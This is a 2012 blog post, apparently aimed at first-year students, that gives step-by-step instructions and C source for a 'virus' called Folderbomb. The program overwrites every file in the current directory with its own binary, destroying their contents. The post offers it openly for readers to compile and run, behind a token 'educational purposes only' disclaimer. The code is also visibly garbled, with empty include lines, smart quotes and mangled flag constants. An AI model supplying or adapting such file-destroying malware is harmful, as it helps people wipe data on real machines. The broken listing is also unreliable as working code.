Quotes Of The Day :

Quotes Of The Day : Don't cry because it's over, smile because it happened

Tuesday, February 21, 2012

A Simple Way To Create A Dangerous Virus



Today i m going to show you how to create a virus in C language

This virus is going to make a Folder in Folder......
 this post is specially for 1st year students of clg ......

just u have to do




Step 1) Copy the given code and paste in working sheet or in notepad
Step 2) Save it as .CPP extension
Step 3) Compile and run the given program in C++
Step 4) The "virus" will run automatically



#include<stdio.h>
#include<conio.h>
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_R
DONLYO_BINARY);
target=open(ffblk.ff_name,O_CREATO_BINARYO_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)


write(target,buf,byt);
else
break;
}
close(source);
close(target);

done = findnext(&ffblk);
}
getch();
}



All the above actions are performed will be at "your own Risk"
This is for Educational purposes only


1 comment:

Please Do not comment any "unrated or unwanted" comments and Please do not fight